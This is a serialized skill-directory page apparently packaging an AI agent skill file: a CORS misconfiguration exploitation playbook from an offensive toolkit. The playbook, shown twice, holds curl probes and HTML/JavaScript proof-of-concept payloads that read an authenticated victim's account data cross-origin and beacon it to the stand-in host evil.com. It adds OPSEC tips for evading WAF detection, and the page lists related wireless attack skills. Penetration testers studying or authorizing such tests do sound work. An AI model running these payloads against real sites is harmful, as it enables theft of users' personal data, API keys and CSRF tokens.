[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFNYSEFQCSSK30RXYXX63K":3,"skill-same:01M7DFNYSEFQCSSK30RXYXX63K":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFNYSEFQCSSK30RXYXX63K","cors",null,"CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cors\ndescription: CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"cors cross-origin access-control-allow-origin acao acac preflight withcredentials origin reflection null origin\"\n  mitre_attack: T1190\n  subdomain: execution\n  tags: web-application, cors, origin, cross-origin, data-exfiltration\n---\n\n# CORS Misconfiguration Playbook\n\nA permissive `Access-Control-Allow-Origin` (ACAO) becomes critical the moment it\nis paired with `Access-Control-Allow-Credentials: true` (ACAC) — any origin the\nserver reflects can read authenticated responses (PII, API keys, CSRF tokens).\nACAO alone (no credentials) is usually Low unless the endpoint serves secrets to\nunauthenticated requests.\n\n## 1. Detection — probe origin reflection\n```bash\n# Reflected-origin + credentials = the critical case\nfor o in \"https:\u002F\u002Fevil.com\" \"null\" \"https:\u002F\u002F\u003CTARGET>.evil.com\" \"https:\u002F\u002Fevil.com.\u003CTARGET>\"; do\n  echo \"== Origin: $o ==\"\n  curl -s -D- -o \u002Fdev\u002Fnull \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" -H \"Origin: $o\" \\\n    | grep -i \"access-control-allow-origin\\|access-control-allow-credentials\"\ndone\n\n# Preflight behaviour (which methods\u002Fheaders are allowed cross-origin)\ncurl -s -D- -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: authorization\" \\\n  | grep -i \"access-control-\"\n```\nA response echoing `Access-Control-Allow-Origin: https:\u002F\u002Fevil.com` **and**\n`Access-Control-Allow-Credentials: true` confirms exploitable reflection.\n\n## 2. Misconfiguration matrix\n\n| Class | Server behaviour | Exploit origin |\n|---|---|---|\n| Origin reflection | ACAO echoes any `Origin` + ACAC true | `https:\u002F\u002Fevil.com` |\n| `null` allowed | ACAO: null + ACAC true | sandboxed iframe \u002F `data:`\u002F`file:` (sends `Origin: null`) |\n| Wildcard + creds (browser-blocked, but check tooling) | `ACAO: *` with secrets | only if creds not required |\n| Suffix match flaw | allows `*target.com` | `https:\u002F\u002Fevil-target.com` |\n| Prefix match flaw | allows `target.com*` | `https:\u002F\u002Ftarget.com.evil.com` |\n| Unescaped dot in regex | `^https:\u002F\u002Fapp.target.com$` | `https:\u002F\u002Fappxtarget.com` |\n| Trusted subdomain + XSS | allows `*.target.com` | XSS on any subdomain → same-site fetch |\n| Pre-domain confusion | naive `contains(\"target.com\")` | `https:\u002F\u002Ftarget.com.evil.com`, `https:\u002F\u002Feviltarget.com` |\n\n## 3. Exploit PoC — credentialed cross-origin read\n```html\n\u003C!-- host on attacker origin; victim must be authenticated to \u003CTARGET> -->\n\u003Cscript>\n  const url = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\";\n  fetch(url, { credentials: \"include\" })\n    .then(r => r.text())\n    .then(data => navigator.sendBeacon(\"https:\u002F\u002Fevil.com\u002Fcollect\", data));\n\u003C\u002Fscript>\n```\nFor `null`-origin servers, deliver the same script inside a sandboxed iframe so\nthe browser sends `Origin: null`:\n```html\n\u003Ciframe sandbox=\"allow-scripts allow-same-origin\" srcdoc=\"\n  <script>fetch('https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount',{credentials:'include'})\n   .then(r=>r.text()).then(d=>fetch('https:\u002F\u002Fevil.com\u002Fc?d='+encodeURIComponent(d)));<\u002Fscript>\">\n\u003C\u002Fiframe>\n```\n\n## 4. Chains\n- **CORS → token theft → CSRF**: steal the anti-CSRF token from a reflected\n  JSON response, then forge state-changing requests that previously looked\n  protected.\n- **Subdomain XSS → CORS**: server trusts `*.target.com`; an XSS (even DOM-only)\n  on a forgotten subdomain runs in an allowed origin and reads the main API.\n- **CORS → API key \u002F PII exfil**: any endpoint returning bearer tokens, account\n  data, or internal config becomes a one-click mass-exfil primitive.\n\n## 5. Tools\n- **Corsy** — fast misconfiguration scanner (`python corsy.py -u https:\u002F\u002F\u003CTARGET>`)\n- **CORScanner** — origin-reflection + regex-flaw detection\n- Burp Suite — *CORS* checks (active scan) + manual `Origin` fuzzing in Repeater\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `Origin:` variants from one IP | WAF \u002F access-log anomaly | Throttle probes; reuse a single canary origin |\n| `OPTIONS` flood (preflight fuzzing) | Rate-based WAF rule | Test one endpoint at a time |\n| Beacon to external collector | Egress\u002FDNS monitoring | Use an in-scope collector during authorized tests |\n\n## Decision Gate: CORS confirmed → exploitation\n- [ ] ACAO reflects an attacker-controlled origin (or `null`)\n- [ ] ACAC is `true` (or the endpoint serves secrets without auth)\n- [ ] A sensitive response body is readable cross-origin\n- [ ] PoC exfiltrates real data from an authenticated victim context\nIf all checked, escalate per `finding-protocol`; otherwise downgrade to\ninformational (ACAO without credentials\u002Fsecrets).\n","# CORS Misconfiguration Playbook\n\nA permissive `Access-Control-Allow-Origin` (ACAO) becomes critical the moment it\nis paired with `Access-Control-Allow-Credentials: true` (ACAC) — any origin the\nserver reflects can read authenticated responses (PII, API keys, CSRF tokens).\nACAO alone (no credentials) is usually Low unless the endpoint serves secrets to\nunauthenticated requests.\n\n## 1. Detection — probe origin reflection\n```bash\n# Reflected-origin + credentials = the critical case\nfor o in \"https:\u002F\u002Fevil.com\" \"null\" \"https:\u002F\u002F\u003CTARGET>.evil.com\" \"https:\u002F\u002Fevil.com.\u003CTARGET>\"; do\n  echo \"== Origin: $o ==\"\n  curl -s -D- -o \u002Fdev\u002Fnull \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" -H \"Origin: $o\" \\\n    | grep -i \"access-control-allow-origin\\|access-control-allow-credentials\"\ndone\n\n# Preflight behaviour (which methods\u002Fheaders are allowed cross-origin)\ncurl -s -D- -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: authorization\" \\\n  | grep -i \"access-control-\"\n```\nA response echoing `Access-Control-Allow-Origin: https:\u002F\u002Fevil.com` **and**\n`Access-Control-Allow-Credentials: true` confirms exploitable reflection.\n\n## 2. Misconfiguration matrix\n\n| Class | Server behaviour | Exploit origin |\n|---|---|---|\n| Origin reflection | ACAO echoes any `Origin` + ACAC true | `https:\u002F\u002Fevil.com` |\n| `null` allowed | ACAO: null + ACAC true | sandboxed iframe \u002F `data:`\u002F`file:` (sends `Origin: null`) |\n| Wildcard + creds (browser-blocked, but check tooling) | `ACAO: *` with secrets | only if creds not required |\n| Suffix match flaw | allows `*target.com` | `https:\u002F\u002Fevil-target.com` |\n| Prefix match flaw | allows `target.com*` | `https:\u002F\u002Ftarget.com.evil.com` |\n| Unescaped dot in regex | `^https:\u002F\u002Fapp.target.com$` | `https:\u002F\u002Fappxtarget.com` |\n| Trusted subdomain + XSS | allows `*.target.com` | XSS on any subdomain → same-site fetch |\n| Pre-domain confusion | naive `contains(\"target.com\")` | `https:\u002F\u002Ftarget.com.evil.com`, `https:\u002F\u002Feviltarget.com` |\n\n## 3. Exploit PoC — credentialed cross-origin read\n```html\n\u003C!-- host on attacker origin; victim must be authenticated to \u003CTARGET> -->\n\u003Cscript>\n  const url = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\";\n  fetch(url, { credentials: \"include\" })\n    .then(r => r.text())\n    .then(data => navigator.sendBeacon(\"https:\u002F\u002Fevil.com\u002Fcollect\", data));\n\u003C\u002Fscript>\n```\nFor `null`-origin servers, deliver the same script inside a sandboxed iframe so\nthe browser sends `Origin: null`:\n```html\n\u003Ciframe sandbox=\"allow-scripts allow-same-origin\" srcdoc=\"\n  <script>fetch('https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount',{credentials:'include'})\n   .then(r=>r.text()).then(d=>fetch('https:\u002F\u002Fevil.com\u002Fc?d='+encodeURIComponent(d)));<\u002Fscript>\">\n\u003C\u002Fiframe>\n```\n\n## 4. Chains\n- **CORS → token theft → CSRF**: steal the anti-CSRF token from a reflected\n  JSON response, then forge state-changing requests that previously looked\n  protected.\n- **Subdomain XSS → CORS**: server trusts `*.target.com`; an XSS (even DOM-only)\n  on a forgotten subdomain runs in an allowed origin and reads the main API.\n- **CORS → API key \u002F PII exfil**: any endpoint returning bearer tokens, account\n  data, or internal config becomes a one-click mass-exfil primitive.\n\n## 5. Tools\n- **Corsy** — fast misconfiguration scanner (`python corsy.py -u https:\u002F\u002F\u003CTARGET>`)\n- **CORScanner** — origin-reflection + regex-flaw detection\n- Burp Suite — *CORS* checks (active scan) + manual `Origin` fuzzing in Repeater\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `Origin:` variants from one IP | WAF \u002F access-log anomaly | Throttle probes; reuse a single canary origin |\n| `OPTIONS` flood (preflight fuzzing) | Rate-based WAF rule | Test one endpoint at a time |\n| Beacon to external collector | Egress\u002FDNS monitoring | Use an in-scope collector during authorized tests |\n\n## Decision Gate: CORS confirmed → exploitation\n- [ ] ACAO reflects an attacker-controlled origin (or `null`)\n- [ ] ACAC is `true` (or the endpoint serves secrets without auth)\n- [ ] A sensitive response body is readable cross-origin\n- [ ] PoC exfiltrates real data from an authenticated victim context\nIf all checked, escalate per `finding-protocol`; otherwise downgrade to\ninformational (ACAO without credentials\u002Fsecrets).\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, cors, origin, cross-origin, data-exfiltration","execution","cors cross-origin access-control-allow-origin acao acac preflight withcredentials origin reflection null origin","T1190","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill cors",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill cors",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill cors","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcors\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]